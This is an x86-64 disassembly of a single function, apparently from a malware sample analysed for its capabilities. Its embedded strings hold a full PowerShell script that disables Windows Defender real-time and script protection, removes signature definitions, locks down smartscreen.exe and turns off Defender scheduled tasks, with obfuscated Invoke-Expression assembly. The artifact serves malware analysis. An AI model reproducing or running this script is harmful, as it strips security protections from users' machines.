Function at 0x1400a4620
Capabilities:
Run powershell expression

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x258
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x1d0], 0xfffffffffffffffe
mov qword [rbp + 0x20], rcx
lea rax, [0x1401d46df]
mov qword [rbp - 0x58], rax
mov qword [rbp - 0x50], 0x3d
lea rax, str.HKLM:SYSTEMCurrentControlSetServiceswscsvcHKLM:SYSTEMCurrentControlSetServicesWinDefendHKLM:SOFTWAREPoliciesMicrosoftWindows_DefenderHKLM:SOFTWAREPoliciesMicrosoftWindows_DefenderReal_Time_ProtectionHKLM:SOFTWAREPoliciesMicrosoftWindows_DefenderScanHKLM:SOFTWAREPoliciesMicrosoftWindows_DefenderExploit_GuardHKLM:SYSTEMCurrentControlSetServicesSecurityHealthServicevar_
mov qword [rbp - 0x48], rax
mov qword [rbp - 0x40], 0x2e
lea rax, [0x1401d45be]
mov qword [rbp - 0x38], rax
mov qword [rbp - 0x30], 0x31
lea rax, [0x1401d45ef]
mov qword [rbp - 0x28], rax
mov qword [rbp - 0x20], 0x32
lea rax, [0x1401d4621]
mov qword [rbp - 0x18], rax
mov qword [rbp - 0x10], 0x47
lea rax, [0x1401d4668]
mov qword [rbp - 8], rax
mov qword [rbp], 0x37
lea rax, [0x1401d469f]
mov qword [rbp + 8], rax
mov qword [rbp + 0x10], 0x40
movzx eax, byte [0x140260201]
mov ecx, 0x917
mov edx, 1
call fcn.1400b4810
test rax, rax
je 0x1400a5300
mov rsi, rax
lea rdx, str._n_________Create_necessary_registry_paths_if_they_dont_exist_n_________defenderPaths_____n_____________Registry::HKEY_LOCAL_MACHINESOFTWAREPoliciesMicrosoftWindows_Defender___n_____________Registry::HKEY_LOCAL_MACHINESOFTWAREPoliciesMicrosoftWindows_DefenderReal_Time_Protection___n_____________Registry::HKEY_LOCAL_MACHINESOFTWAREPoliciesMicrosoftWindows_DefenderScan___n_____________Registry::HKEY_LOCAL_MACHINESOFTWAREPoliciesMicrosoftWindows_DefenderExploit_Guard__n__________n_n________foreach___path_in__defenderPaths___n____________if____Test_Path__Path__path____n________________New_Item__Path__path__Force__Out_Null_n________________Write_Output__Created_missing_registry_path:__path__n_____________n_________n________icacls__C:WindowsSystem32_smartscreen.exe___inheritance:r__remove_S_1_5_32_544_S_1_5_11_S_1_5_32_545_S_1_5_18_n_________Update_Windows_Defender_settings_n________Set_MpPreference__DisableIntrusionPreventionSystem__true___n__________________________DisableIOAVProtection__true___n__________________________DisableRealtimeMonitoring__true___n__________________________DisableScriptScanning__true___n__________________________EnableControlledFolderAccess_Disabled___n__________________________EnableNetworkProtection_AuditMode___n__________________________MAPSReporting_Disabled___n__________________________SubmitSamplesConsent_2_n_n_________Run_MpCmdRun_with_the_correct_file_path_syntax_n________Start_Process__FilePath_C:Program_FilesWindows_DefenderMpCmdRun.exe___n_______________________ArgumentList___RemoveDefinitions_____All___Wait_n_n_________Run_additional_commands_to_modify_settings_n_________n_n_________Disable_scheduled_tasks_related_to_Windows_Defender_n________schtasks__Change__TN__MicrosoftWindowsExploitGuardExploitGuard_MDM_policy_Refresh___Disable_n________schtasks__Change__TN__MicrosoftWindowsWindows_DefenderWindows_Defender_Cache_Maintenance___Disable_n________schtasks__Change__TN__MicrosoftWindowsWindows_DefenderWindows_Defender_Cleanup___Disable_n________schtasks__Change__TN__MicrosoftWindowsWindows_DefenderWindows_Defender_Scheduled_Scan___Disable_n________schtasks__Change__TN__MicrosoftWindowsWindows_DefenderWindows_Defender_Verification___Disable_n_n________Write_Output__Windows_Defender_has_been_disabled_and_preferences_have_been_updated.__n____Service_main_called.
mov r8d, 0x917
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
mov qword [rbp + 0x180], 0x917
mov qword [rbp + 0x188], rsi
mov qword [rbp + 0x190], 0x917
mov qword [rbp + 0xd8], 0
mov qword [rbp + 0xe0], 1
mov qword [rbp + 0xe8], 0
xor ebx, ebx
lea r15, [rbp + 0x30]
lea rdi, [rbp + 0xf0]
lea r13, [rbp + 0x1b0]
lea rsi, [0x1400a14c0]
nop
cmp rbx, 0x70
je 0x1400a4e5d
call fcn.14017fde0
mov qword [rbp + 0x160], rax
mov qword [rbp + 0x30], 0
mov qword [rbp + 0x38], 1
mov qword [rbp + 0x40], 0
mov r8d, 8
mov rcx, r15
xor edx, edx
call fcn.1401bbb20
lea rax, str.abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789Set_ItemPropertySet_MpPreferenceStart_ProcessInvoke_Expression___
mov qword [rbp + 0xf0], rax
mov qword [rbp + 0xf8], 0x3e
lea rax, [rbp + 0x160]
mov qword [rbp + 0x100], rax
mov qword [rbp + 0x108], 0
mov qword [rbp + 0x110], 8
mov rcx, rdi
mov rdx, r15
call fcn.140054bf0
movups xmm0, xmmword [rbp + 0x30]
movaps xmmword [rbp + 0x1b0], xmm0
mov rax, qword [rbp + 0x40]
mov qword [rbp + 0x1c0], rax
mov rcx, qword [rbp + 0x160]
dec qword [rcx]
jne 0x1400a4820
dec qword [rcx + 8]
jne 0x1400a4820
mov edx, 0x170
mov r8d, 0x10
call fcn.1400b4820
nop
mov qword [rbp + 0x160], r13
mov qword [rbp + 0x168], rsi
lea rax, [0x1401d4720]
mov qword [rbp + 0xf0], rax
mov qword [rbp + 0xf8], 1
mov qword [rbp + 0x110], 0
lea rax, [rbp + 0x160]
mov qword [rbp + 0x100], rax
mov qword [rbp + 0x108], 1
mov rcx, r15
mov rdx, rdi
call fcn.1401aa740
mov rdx, qword [rbp + 0x1b0]
test rdx, rdx
je 0x1400a4894
mov rcx, qword [rbp + 0x1b8]
mov r8d, 1
call fcn.1400b4820
movups xmm0, xmmword [rbp + 0x30]
movaps xmmword [rbp + 0xc0], xmm0
mov rax, qword [rbp + 0x40]
mov qword [rbp + 0xd0], rax
mov rsi, qword [rbp + rbx - 0x58]
mov r12, rbx
mov rax, qword [rbp + rbx - 0x50]
mov qword [rbp + 0x198], rax
lea r8, [rsi + rax]
mov rcx, r15
mov rdx, rsi
call fcn.14002f170
mov rdi, qword [rbp + 0x38]
mov r14, qword [rbp + 0x40]
mov qword [rsp + 0x20], 1
lea rcx, [rbp + 0xf0]
mov rdx, rdi
mov r8, r14
lea r9, str._char___
call fcn.140055e30
mov rax, qword [rbp + 0x100]
mov qword [rbp + 0xb0], rax
movups xmm0, xmmword [rbp + 0xf0]
movaps xmmword [rbp + 0xa0], xmm0
test r14, r14
je 0x1400a4950
lea rbx, [rdi + 8]
jmp 0x1400a4929
add rbx, 0x18
dec r14
je 0x1400a4950
mov rdx, qword [rbx - 8]
test rdx, rdx
je 0x1400a4920
mov rcx, qword [rbx]
mov r8d, 1
call fcn.1400b4820
jmp 0x1400a4920
mov rax, qword [rbp + 0x30]
test rax, rax
je 0x1400a496f
shl rax, 3
lea rdx, [rax + rax*2]
mov r8d, 8
mov rcx, rdi
call fcn.1400b4820
lea rax, [rbp + 0xc0]
mov qword [rbp + 0x30], rax
lea rdi, [0x1400a14c0]
mov qword [rbp + 0x38], rdi
lea rax, [rbp + 0xa0]
mov qword [rbp + 0x40], rax
mov qword [rbp + 0x48], rdi
lea rax, str.______
mov qword [rbp + 0xf0], rax
mov qword [rbp + 0xf8], 3
mov qword [rbp + 0x110], 0
mov qword [rbp + 0x100], r15
mov qword [rbp + 0x108], 2
lea rbx, [rbp + 0x1b0]
mov rcx, rbx
lea r14, [rbp + 0xf0]
mov rdx, r14
call fcn.1401aa740
movups xmm0, xmmword [rbp + 0x1b0]
movaps xmmword [rbp + 0x160], xmm0
mov rax, qword [rbp + 0x1c0]
mov qword [rbp + 0x170], rax
lea rax, [rbp + 0x160]
mov qword [rbp + 0x1b0], rax
mov qword [rbp + 0x1b8], rdi
lea rax, [0x1401d2e48]
mov qword [rbp + 0xf0], rax
mov qword [rbp + 0xf8], 2
mov qword [rbp + 0x110], 0
mov qword [rbp + 0x100], rbx
mov qword [rbp + 0x108], 1
mov rcx, r15
mov rdx, r14
call fcn.1401aa740
mov rax, qword [rbp + 0x30]
mov qword [rbp + 0x1a8], rax
mov rax, qword [rbp + 0x38]
mov qword [rbp + 0x1a0], rax
mov rdi, qword [rbp + 0x40]
mov rax, qword [rbp + 0xd8]
mov rbx, qword [rbp + 0xe8]
sub rax, rbx
cmp rax, rdi
jae 0x1400a4a9e
lea rcx, [rbp + 0xd8]
mov rdx, rbx
mov r8, rdi
call fcn.1401bbb20
mov rbx, qword [rbp + 0xe8]
mov rcx, qword [rbp + 0xe0]
add rcx, rbx
mov r13, qword [rbp + 0x1a0]
mov rdx, r13
mov r8, rdi
call sub.VCRUNTIME140.dll_memcpy
add rbx, rdi
mov qword [rbp + 0xe8], rbx
mov rdx, qword [rbp + 0x1a8]
test rdx, rdx
je 0x1400a4ade
mov r8d, 1
mov rcx, r13
call fcn.1400b4820
mov rbx, qword [rbp + 0x188]
mov rdi, qword [rbp + 0x190]
lea rax, [rbp + 0xc0]
mov qword [rbp + 0x1b0], rax
lea rax, [0x1400a14c0]
mov qword [rbp + 0x1b8], rax
lea rax, str.______
mov qword [rbp + 0xf0], rax
mov qword [rbp + 0xf8], 1
mov qword [rbp + 0x110], 0
lea rax, [rbp + 0x1b0]
mov qword [rbp + 0x100], rax
mov qword [rbp + 0x108], 1
mov rcx, r15
mov rdx, r14
call fcn.1401aa740
mov qword [rbp + 0x1a0], r12
mov r12, r15
mov rax, qword [rbp + 0x30]
mov qword [rbp + 0x28], rax
mov rax, qword [rbp + 0x38]
mov qword [rbp + 0x1a8], rax
mov r15, qword [rbp + 0x40]
mov qword [rbp + 0x1b0], 0
mov qword [rbp + 0x1b8], 1
mov qword [rbp + 0x1c0], 0
mov rax, qword [rbp + 0x198]
mov qword [rsp + 0x20], rax
mov rcx, r14
mov qword [rbp + 0x198], rbx
mov rdx, rbx
mov qword [rbp + 0x18], rdi
mov r8, rdi
mov r9, rsi
call fcn.1401b4220
add qword [rbp + 0x1a0], 0x10
mov rax, qword [rbp + 0x150]
mov qword [rbp + 0x90], rax
movups xmm0, xmmword [rbp + 0x140]
movaps xmmword [rbp + 0x80], xmm0
movups xmm0, xmmword [rbp + 0x130]
movaps xmmword [rbp + 0x70], xmm0
movups xmm0, xmmword [rbp + 0xf0]
movups xmm1, xmmword [rbp + 0x100]
movups xmm2, xmmword [rbp + 0x110]
movups xmm3, xmmword [rbp + 0x120]
movaps xmmword [rbp + 0x60], xmm3
movaps xmmword [rbp + 0x50], xmm2
movaps xmmword [rbp + 0x40], xmm1
movaps xmmword [rbp + 0x30], xmm0
mov edi, 1
xor esi, esi
xor r14d, r14d
jmp 0x1400a4c5e
mov rsi, qword [rbp + 0x1c0]
mov rdi, qword [rbp + 0x1b8]
lea rcx, [rdi + rsi]
mov rdx, qword [rbp + 0x1a8]
mov r8, r15
call sub.VCRUNTIME140.dll_memcpy
add rsi, r15
mov qword [rbp + 0x1c0], rsi
mov r14, r13
lea rcx, [rbp + 0xf0]
mov rdx, r12
call fcn.1400a1920
cmp qword [rbp + 0xf0], 0
je 0x1400a4d10
mov rbx, qword [rbp + 0xf8]
mov r13, qword [rbp + 0x100]
sub rbx, r14
mov rax, qword [rbp + 0x1b0]
sub rax, rsi
cmp rax, rbx
jae 0x1400a4cbb
lea rcx, [rbp + 0x1b0]
mov rdx, rsi
mov r8, rbx
call fcn.1401bbb20
mov rdi, qword [rbp + 0x1b8]
mov rsi, qword [rbp + 0x1c0]
add r14, qword [rbp + 0x198]
add rdi, rsi
mov rcx, rdi
mov rdx, r14
mov r8, rbx
call sub.VCRUNTIME140.dll_memcpy
add rsi, rbx
mov qword [rbp + 0x1c0], rsi
mov rax, qword [rbp + 0x1b0]
sub rax, rsi
cmp rax, r15
jae 0x1400a4c37
lea rcx, [rbp + 0x1b0]
mov rdx, rsi
mov r8, r15
call fcn.1401bbb20
jmp 0x1400a4c30
mov r8, qword [rbp + 0x18]
sub r8, r14
mov rax, qword [rbp + 0x1b0]
sub rax, rsi
cmp rax, r8
jae 0x1400a4d50
lea rcx, [rbp + 0x1b0]
mov rdx, rsi
mov rbx, r8
call fcn.1401bbb20
mov rdi, qword [rbp + 0x1b8]
mov rsi, qword [rbp + 0x1c0]
jmp 0x1400a4d53
mov rbx, r8
mov r15, r12
lea r13, [rbp + 0x1b0]
mov rdx, qword [rbp + 0x198]
add rdx, r14
add rdi, rsi
mov rcx, rdi
mov rdi, rbx
mov r8, rbx
call sub.VCRUNTIME140.dll_memcpy
add rsi, rbx
mov qword [rbp + 0x100], rsi
movups xmm0, xmmword [rbp + 0x1b0]
movaps xmmword [rbp + 0xf0], xmm0
mov rdx, qword [rbp + 0x180]
test rdx, rdx
mov rbx, qword [rbp + 0x1a0]
je 0x1400a4db5
mov rcx, qword [rbp + 0x188]
mov r8d, 1
call fcn.1400b4820
mov rax, qword [rbp + 0x100]
mov qword [rbp + 0x190], rax
movaps xmm0, xmmword [rbp + 0xf0]
movaps xmmword [rbp + 0x180], xmm0
mov rdx, qword [rbp + 0x28]
test rdx, rdx
lea rsi, [0x1400a14c0]
lea rdi, [rbp + 0xf0]
je 0x1400a4dfa
mov r8d, 1
mov rcx, qword [rbp + 0x1a8]
call fcn.1400b4820
mov rdx, qword [rbp + 0x160]
test rdx, rdx
je 0x1400a4e18
mov rcx, qword [rbp + 0x168]
mov r8d, 1
call fcn.1400b4820
mov rdx, qword [rbp + 0xa0]
test rdx, rdx
je 0x1400a4e36
mov rcx, qword [rbp + 0xa8]
mov r8d, 1
call fcn.1400b4820
mov rdx, qword [rbp + 0xc0]
test rdx, rdx
je 0x1400a4760
mov rcx, qword [rbp + 0xc8]
mov r8d, 1
call fcn.1400b4820
jmp 0x1400a4760
lea rax, [rbp + 0xd8]
mov qword [rbp + 0x30], rax
mov qword [rbp + 0x38], rsi
lea rax, [rbp + 0x180]
mov qword [rbp + 0x40], rax
mov qword [rbp + 0x48], rsi
lea rax, [0x1401d2e48]
mov qword [rbp + 0xf0], rax
mov qword [rbp + 0xf8], 2
mov qword [rbp + 0x110], 0
mov qword [rbp + 0x100], r15
mov qword [rbp + 0x108], 2
lea rcx, [rbp + 0x160]
lea rdx, [rbp + 0xf0]
call fcn.1401aa740
mov rdx, qword [rbp + 0x180]
test rdx, rdx
je 0x1400a4ee2
mov rcx, qword [rbp + 0x188]
mov r8d, 1
call fcn.1400b4820
mov r15, qword [rbp + 0x170]
mov qword [rbp + 0x190], r15
movups xmm0, xmmword [rbp + 0x160]
movaps xmmword [rbp + 0x180], xmm0
mov r14, qword [rbp + 0x188]
mov qword [rbp + 0x1b0], 0
mov qword [rbp + 0x1b8], 1
mov qword [rbp + 0x1c0], 0
xor ebx, ebx
xor eax, eax
mov qword [rbp + 0x198], rax
xor esi, esi
jmp 0x1400a4f50
mov rax, qword [rbp + 0x1b8]
mov byte [rax + r12], 0xa
inc r12
mov qword [rbp + 0x1c0], r12
mov rsi, rdi
nop
cmp byte [rbp + 0x198], 0
jne 0x1400a526c
cmp rbx, r15
jbe 0x1400a4f7c
mov rdi, rbx
jmp 0x1400a5010
mov rbx, rdi
cmp rdi, r15
ja 0x1400a5010
mov r8, r15
sub r8, rbx
lea rax, [r14 + rbx]
cmp r8, 0x10
jae 0x1400a4fc0
xor edx, edx
cmp r15, rbx
je 0x1400a4fb1
nop word cs:[rax + rax]
cmp byte [rax + rdx], 0xa
je 0x1400a4fee
inc rdx
cmp r8, rdx
jne 0x1400a4fa0
mov rdx, r8
xor eax, eax
cmp rax, 1
je 0x1400a4fd0
jmp 0x1400a5000
mov cl, 0xa
mov rdx, rax
call fcn.1401b3710
cmp rax, 1
jne 0x1400a5000
lea rdi, [rdx + rbx]
inc rdi
lea rax, [rdx + rbx]
cmp rax, r15
jae 0x1400a4f70
add rdx, r14
cmp byte [rbx + rdx], 0xa
jne 0x1400a4f70
jmp 0x1400a5261
mov eax, 1
cmp rax, 1
je 0x1400a4fd0
nop dword [rax]
mov rdi, r15
mov rbx, r15
test rax, rax
jne 0x1400a502b
nop dword [rax + rax]
mov al, 1
mov qword [rbp + 0x198], rax
mov rbx, rdi
mov rdi, rsi
mov rcx, r15
cmp r15, rsi
je 0x1400a526c
sub rcx, rsi
add rsi, r14
mov r13, rcx
sub r13, 1
jae 0x1400a5040
xor r13d, r13d
jmp 0x1400a505a
cmp byte [rsi + r13], 0xa
jne 0x1400a5057
test r13, r13
je 0x1400a505a
cmp byte [rsi + rcx - 2], 0xd
jne 0x1400a505a
add rcx, 0xfffffffffffffffe
mov r13, rcx
mov edx, 0x10
lea rcx, [0x1401d452e]
mov r8, rsi
mov r9, r13
call fcn.1400a0fd0
test al, al
jne 0x1400a50b0
mov edx, 0x10
lea rcx, [0x1401d453e]
mov r8, rsi
mov r9, r13
call fcn.1400a0fd0
test al, al
jne 0x1400a50b0
mov edx, 0xd
lea rcx, [0x1401d454e]
mov r8, rsi
mov r9, r13
call fcn.1400a0fd0
test al, al
je 0x1400a51f5
nop
mov rcx, rsi
mov rdx, r13
call fcn.1400a05e0
mov qword [rbp + 0xa0], rax
mov qword [rbp + 0xa8], rdx
lea rax, [rbp + 0xa0]
mov qword [rbp + 0xc0], rax
lea rax, [0x140060230]
mov qword [rbp + 0xc8], rax
lea rax, [0x1401d4570]
mov qword [rbp + 0xf0], rax
mov qword [rbp + 0xf8], 2
mov qword [rbp + 0x110], 0
lea rax, [rbp + 0xc0]
mov qword [rbp + 0x100], rax
mov qword [rbp + 0x108], 1
lea rcx, [rbp + 0x30]
lea rdx, [rbp + 0xf0]
call fcn.1401aa740
mov rax, qword [rbp + 0x30]
mov qword [rbp + 0x1a0], rax
mov rdx, qword [rbp + 0x38]
mov r12, qword [rbp + 0x40]
mov rax, qword [rbp + 0x1b0]
mov rsi, qword [rbp + 0x1c0]
sub rax, rsi
cmp rax, r12
mov qword [rbp + 0x1a8], rdx
jae 0x1400a5182
lea rcx, [rbp + 0x1b0]
mov rdx, rsi
mov r8, r12
call fcn.1401bbb20
mov rsi, qword [rbp + 0x1c0]
mov rdx, qword [rbp + 0x1a8]
mov rcx, qword [rbp + 0x1b8]
add rcx, rsi
mov r8, r12
call sub.VCRUNTIME140.dll_memcpy
add rsi, r12
mov qword [rbp + 0x1c0], rsi
cmp rsi, qword [rbp + 0x1b0]
jne 0x1400a51b3
lea rcx, [rbp + 0x1b0]
call fcn.14005e860
mov rax, qword [rbp + 0x1b8]
mov byte [rax + rsi], 0xa
inc rsi
mov qword [rbp + 0x1c0], rsi
mov rsi, rdi
mov rdx, qword [rbp + 0x1a0]
test rdx, rdx
je 0x1400a4f50
mov r8d, 1
mov rcx, qword [rbp + 0x1a8]
call fcn.1400b4820
mov rsi, rdi
jmp 0x1400a4f50
mov rax, qword [rbp + 0x1b0]
mov r12, qword [rbp + 0x1c0]
sub rax, r12
cmp rax, r13
jae 0x1400a5224
lea rcx, [rbp + 0x1b0]
mov rdx, r12
mov r8, r13
call fcn.1401bbb20
mov r12, qword [rbp + 0x1c0]
mov rcx, qword [rbp + 0x1b8]
add rcx, r12
mov rdx, rsi
mov r8, r13
call sub.VCRUNTIME140.dll_memcpy
add r12, r13
mov qword [rbp + 0x1c0], r12
cmp r12, qword [rbp + 0x1b0]
jne 0x1400a4f35
lea rcx, [rbp + 0x1b0]
call fcn.14005e860
jmp 0x1400a4f35
mov rbx, rdi
mov rcx, rdi
jmp 0x1400a502b
mov rax, qword [rbp + 0x1c0]
mov qword [rbp + 0x100], rax
movups xmm0, xmmword [rbp + 0x1b0]
movaps xmmword [rbp + 0xf0], xmm0
mov rdx, qword [rbp + 0x180]
test rdx, rdx
je 0x1400a52a6
mov rcx, qword [rbp + 0x188]
mov r8d, 1
call fcn.1400b4820
mov rax, qword [rbp + 0x100]
mov qword [rbp + 0x190], rax
movaps xmm0, xmmword [rbp + 0xf0]
movaps xmmword [rbp + 0x180], xmm0
mov rcx, qword [rbp + 0x20]
mov qword [rcx + 0x10], rax
movups xmmword [rcx], xmm0
mov rdx, qword [rbp + 0xd8]
test rdx, rdx
je 0x1400a52eb
mov rcx, qword [rbp + 0xe0]
mov r8d, 1
call fcn.1400b4820
nop
add rsp, 0x258
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
mov ecx, 1
mov edx, 0x917
call fcn.1401bfe00
int3